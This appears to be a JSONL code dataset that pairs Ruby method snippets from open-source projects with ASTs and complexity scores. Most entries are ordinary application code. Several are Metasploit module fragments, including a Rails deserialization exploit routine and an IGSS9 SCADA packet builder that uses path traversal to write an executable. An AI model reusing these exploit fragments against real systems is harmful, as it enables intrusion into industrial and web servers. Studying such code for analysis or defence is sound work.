{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/db/migrate/20240419080033_update_schedule_type_in_syncs.rb","start_line":2,"raw_source":"def change\n    Sync.where(schedule_type: 'automated').update_all(schedule_type: 'interval')\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sync\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"schedule_type\"]},{\"type\":\"str\",\"children\":[\"automated\"]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"schedule_type\"]},{\"type\":\"str\",\"children\":[\"interval\"]}]}]}]}]}","id":"6e270baf-79cd-419c-901f-9f0dfa25ce33"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/profiler_test.rb","start_line":211,"raw_source":"def test_profiling_marks_children_of_for_blocks\n    t = Template.parse(\"{% for item in collection %} {{ item }} {% endfor %}\", profile: true)\n    t.render!(\"collection\" => [\"one\", \"two\"])\n\n    assert_equal(1, t.profiler.length)\n    # Will profile each invocation of the for block\n    assert_equal(2, t.profiler[0].children.length)\n  end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_profiling_marks_children_of_for_blocks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{% for item in collection %} {{ item }} {% endfor %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"profile\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"render!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"collection\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"one\"]},{\"type\":\"str\",\"children\":[\"two\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"profiler\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"profiler\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"children\"]},\"length\"]}]}]}]}","id":"5688b4c6-8ef0-414e-90a5-d89fe2f7e693"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/ast/reference_collector.rb","start_line":26,"raw_source":"def implicit_self_calls\n        ast.each_node(:send).reject(&:receiver)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"implicit_self_calls\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ast\"]},\"each_node\",{\"type\":\"sym\",\"children\":[\"send\"]}]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"receiver\"]}]}]}]}","id":"607f91d1-eb9b-430f-b4c4-ea2e8c53024c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/legacy_github_import/base_formatter.rb","start_line":16,"raw_source":"def create!\n        record = create_record\n        push_placeholder_references(record)\n\n        record\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"send\",\"children\":[null,\"create_record\"]}]},{\"type\":\"send\",\"children\":[null,\"push_placeholder_references\",{\"type\":\"lvar\",\"children\":[\"record\"]}]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}","id":"0c64d8dd-4699-4bba-bd25-6ea08c9407bc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/references/commit_range_reference_filter.rb","start_line":34,"raw_source":"def url_for_object(range, project)\n          h = Gitlab::Routing.url_helpers\n          h.project_compare_url(project, range.to_param.merge(only_path: context[:only_path]))\n        end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"url_for_object\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"range\"]},{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"h\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Routing\"]},\"url_helpers\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"project_compare_url\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"to_param\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"only_path\"]}]}]}]}]}]}]}]}","id":"14f461d1-921e-44d2-90a4-2b5759e6d8ef"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/destroy_session_service.rb","start_line":7,"raw_source":"def initialize(current_user:, user:, private_session_id:)\n      @current_user = current_user\n      @user = user\n      @private_session_id = private_session_id\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"current_user\"]},{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"private_session_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@private_session_id\",{\"type\":\"lvar\",\"children\":[\"private_session_id\"]}]}]}]}","id":"81f63d47-ec3d-4810-b94e-4fa1a4ce041c"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/template_alias_processor.rb","start_line":14,"raw_source":"def initialize tracker, template, called_from = nil\n    super tracker\n    @template = template\n    @current_file = template.file\n    @called_from = called_from\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tracker\"]},{\"type\":\"arg\",\"children\":[\"template\"]},{\"type\":\"optarg\",\"children\":[\"called_from\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@template\",{\"type\":\"lvar\",\"children\":[\"template\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"file\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@called_from\",{\"type\":\"lvar\",\"children\":[\"called_from\"]}]}]}]}","id":"daf29efa-6a1f-4d90-86e2-7316fb443554"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/apache_optionsbleed.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Apache Optionsbleed Scanner',\n        'Description' => %q{\n          This module scans for the Apache optionsbleed vulnerability where the Allow\n          response header returned from an OPTIONS request may bleed memory if the\n          server has a .htaccess file with an invalid Limit method defined.\n        },\n        'Author' => [\n          'Hanno Böck', # Vulnerability discovery\n          'h00die', # Metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2017-9798' ],\n          [ 'EDB', '42745' ],\n          [ 'URL', 'https://github.com/hannob/optionsbleed' ],\n          [ 'URL', 'https://blog.fuzzing-project.org/60-Optionsbleed-HTTP-OPTIONS-method-can-leak-Apaches-server-memory.html' ]\n        ],\n        'DisclosureDate' => '2017-09-18',\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'AKA' => ['Optionsbleed'],\n          'Stability' => UNKNOWN_STABILITY,\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, 'The URI to the folder with the vulnerable .htaccess file', '/']),\n      OptInt.new('REPEAT', [true, 'Times to attempt', 40]),\n      OptBool.new('BUGS', [true, 'Print if any other Allow header bugs are found', true])\n    ])\n  end","complexity_score":7.95,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Apache Optionsbleed Scanner\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module scans for the Apache optionsbleed vulnerability where the Allow\\n\"]},{\"type\":\"str\",\"children\":[\"          response header returned from an OPTIONS request may bleed memory if the\\n\"]},{\"type\":\"str\",\"children\":[\"          server has a .htaccess file with an invalid Limit method defined.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Hanno Böck\"]},{\"type\":\"str\",\"children\":[\"h00die\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-9798\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"42745\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/hannob/optionsbleed\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://blog.fuzzing-project.org/60-Optionsbleed-HTTP-OPTIONS-method-can-leak-Apaches-server-memory.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2017-09-18\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AKA\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Optionsbleed\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI to the folder with the vulnerable .htaccess file\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"REPEAT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Times to attempt\"]},{\"type\":\"int\",\"children\":[40]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"BUGS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Print if any other Allow header bugs are found\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"e8c81a23-22ba-4f25-9b37-7fa13f1561a4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/catalog/resource.rb","start_line":123,"raw_source":"def sync_with_project\n        self.name = project.name\n        self.description = project.description\n        self.visibility_level = project.visibility_level\n      end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"sync_with_project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"description=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"visibility_level=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"visibility_level\"]}]}]}]}","id":"5b8dc814-33be-41f1-84bd-bb609085957c"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/portal/device.rb","start_line":169,"raw_source":"def disabled?\n        return self.status == \"r\"\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"disabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"status\"]},\"==\",{\"type\":\"str\",\"children\":[\"r\"]}]}]}]}","id":"ad1a616c-c725-4221-8cf2-95aae7dafa63"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/zabbix_script_exec.rb","start_line":350,"raw_source":"def delete_host(auth_token, host_id, host_name, zabbix_version)\n    params = {}\n\n    if zabbix_version < Rex::Version.new('2.2.0')\n      params = [ { 'hostid' => host_id } ]\n    else\n      params = [ host_id ]\n    end\n\n    resp = send_json_api_request('host.delete', auth_token, params)\n\n    if !resp['result'].nil?\n      vprint_good(\"Successfully deleted '#{host_name}' host\")\n    else\n      print_warning(\"Couldn't delete the host '#{host_name}'\")\n    end\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"auth_token\"]},{\"type\":\"arg\",\"children\":[\"host_id\"]},{\"type\":\"arg\",\"children\":[\"host_name\"]},{\"type\":\"arg\",\"children\":[\"zabbix_version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zabbix_version\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.2.0\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"hostid\"]},{\"type\":\"lvar\",\"children\":[\"host_id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[null,\"send_json_api_request\",{\"type\":\"str\",\"children\":[\"host.delete\"]},{\"type\":\"lvar\",\"children\":[\"auth_token\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"[]\",{\"type\":\"str\",\"children\":[\"result\"]}]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully deleted '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_name\"]}]},{\"type\":\"str\",\"children\":[\"' host\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Couldn't delete the host '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_name\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}]}","id":"9cbd0593-ab9c-4829-ad96-f71222bc2f75"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/rails_double_tap.rb","start_line":217,"raw_source":"def exploit\n    print_status(\"Attempting to retrieve the application name...\")\n    app_name = get_application_name\n    print_status(\"The application name is: #{app_name}\")\n\n    stager = get_stager_code\n    print_status(\"Stager ready: #{stager.length} bytes\")\n\n    rails_payload = generate_rails_payload(app_name, stager)\n    print_status(\"Sending serialized payload to target (#{rails_payload.length} bytes)\")\n    send_serialized_payload(rails_payload)\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Attempting to retrieve the application name...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"app_name\",{\"type\":\"send\",\"children\":[null,\"get_application_name\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The application name is: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"stager\",{\"type\":\"send\",\"children\":[null,\"get_stager_code\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Stager ready: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stager\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rails_payload\",{\"type\":\"send\",\"children\":[null,\"generate_rails_payload\",{\"type\":\"lvar\",\"children\":[\"app_name\"]},{\"type\":\"lvar\",\"children\":[\"stager\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending serialized payload to target (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rails_payload\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes)\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_serialized_payload\",{\"type\":\"lvar\",\"children\":[\"rails_payload\"]}]}]}]}","id":"26dcd778-6fe0-473e-96d2-f1a981dd875a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/grids/lib/grids/configuration.rb","start_line":65,"raw_source":"def defaults(klass)\n      grid_register[klass.name]&.defaults\n    end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"defaults\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"grid_register\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"name\"]}]},\"defaults\"]}]}","id":"8bcb6e1a-8302-484d-b0c8-8798f483649a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/mark_old_advanced_search_migrations_as_obsolete.rb","start_line":184,"raw_source":"def read_milestone\n      milestone = File.read('VERSION')\n      milestone.gsub(/^(\\d+\\.\\d+).*$/, '\\1').chomp\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"read_milestone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"milestone\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"str\",\"children\":[\"VERSION\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestone\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(\\\\d+\\\\.\\\\d+).*$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\\1\"]}]},\"chomp\"]}]}]}","id":"75f5bd55-ce6c-4db8-9a55-03224c338efc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/scada/igss9_misc.rb","start_line":65,"raw_source":"def write_packets(data)\n    pkts = []\n\n    # Payload will be in C:\\Documents and Settings\\All Users\\Application Data\\7T\\\n    tmp = rand_text_alpha(1)\n    filename = \"#{tmp}.exe\"\n\n    data_size = data.length\n\n    0.step(data_size, 870) do |s|\n      # Each packet only contains 870 bytes of data\n      chunk = data[s, 870]\n\n      # Data size of this packet\n      chunk_size = [chunk.length].pack('v')\n\n      # Flag is set if this is our last chunk\n      # Flag 0x01 will cause the server to close the connection\n      flag = (chunk.length >= 870) ? \"\\x00\" : \"\\x01\"\n\n      pkt = \"\\x01\\x00\\x34\\x12\"\n      pkt << \"\\x0D\"                     # Opcode\n      pkt << \"\\x00\" * 7\n      pkt << flag                       # Flag\n      pkt << \"\\x00\\x00\\x00\"\n      pkt << \"\\x02\"                     # Command (Write File)\n      pkt << \"\\x00\\x00\\x00\"\n      pkt << \"../../../../#{filename}\"  # Filename\n      pkt << \"\\x00\" * 73\n      pkt << \"\\x3E\\x01\\x01\\x02\"\n      pkt << \"\\x00\\x10\"\n      pkt << \"\\x00\\x00\"\n      pkt << \"\\x78\\x01\\x08\\x04\"\n      pkt << \"\\x78\\x01\\x08\\x04\"\n      pkt << \"\\x00\" * 22\n      pkt << chunk_size                 # Data size\n      pkt << \"\\x00\\x00\"\n      pkt << chunk                      # Data chunk\n\n      # Add the total packet size to the header\n      pkt_size = [pkt.length + 2].pack('v')\n      pkt = pkt_size + pkt\n\n      # Put this packet to the array\n      pkts << pkt\n    end\n\n    return filename, pkts\n  end","complexity_score":56.9,"ast_json":"{\"type\":\"def\",\"children\":[\"write_packets\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pkts\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"tmp\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp\"]}]},{\"type\":\"str\",\"children\":[\".exe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data_size\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[0]},\"step\",{\"type\":\"lvar\",\"children\":[\"data_size\"]},{\"type\":\"int\",\"children\":[870]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chunk\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"s\"]},{\"type\":\"int\",\"children\":[870]}]}]},{\"type\":\"lvasgn\",\"children\":[\"chunk_size\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"v\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"flag\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"length\"]},\">=\",{\"type\":\"int\",\"children\":[870]}]}]},{\"type\":\"str\",\"children\":[\"\\u0000\"]},{\"type\":\"str\",\"children\":[\"\\u0001\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"str\",\"children\":[\"\\u0001\\u00004\\u0012\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"int\",\"children\":[7]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"flag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0002\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"../../../../\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"int\",\"children\":[73]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"str\",\"children\":[\">\\u0001\\u0001\\u0002\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0010\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"str\",\"children\":[\"x\\u0001\\b\\u0004\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"str\",\"children\":[\"x\\u0001\\b\\u0004\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"int\",\"children\":[22]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"chunk_size\"]}]},{\"t